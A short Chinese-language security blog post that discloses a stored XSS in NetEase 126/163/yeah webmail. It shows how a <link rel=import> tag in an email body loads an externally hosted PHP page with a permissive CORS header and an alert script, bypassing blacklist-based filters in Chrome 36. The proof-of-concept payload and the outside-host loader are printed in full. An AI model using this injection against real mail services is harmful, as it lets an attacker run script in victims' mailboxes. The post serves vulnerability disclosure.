126/163邮箱正文存储型XSS

chrome进入36时代以后,多了一种引入外部HTML的方法:

1
<link rel=import href=http://xxx/xxx.html>

twitter上MK很早就通过这个方法bypass了当时的chrome audit: https://twitter.com/avlidienbrunn/status/486059626002395136 ,但实际上这个方法的危害不止于此,大部分基于黑名单的富文本过滤器是没有考虑这个方式的XSS的,通过这个就能简单构造一个XSS。

网易邮箱中枪。

首先准备一个外部HTML:http://mhz.pw/game/SOP/01.php

1
2
3
4
5
6
<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
alert(location.host);
</script>

设置”Access-Control-Allow-Origin: *”头才能够被跨域请求。

发送邮件正文为:

1
<link rel="import" href="http://mhz.pw/game/SOP/01.php">

最新版chrome下打开可见弹窗,location.host为mail.163.com

0012.jpg

126/yeah 一样中枪:

0013.jpg

0012.jpg

0013.jpg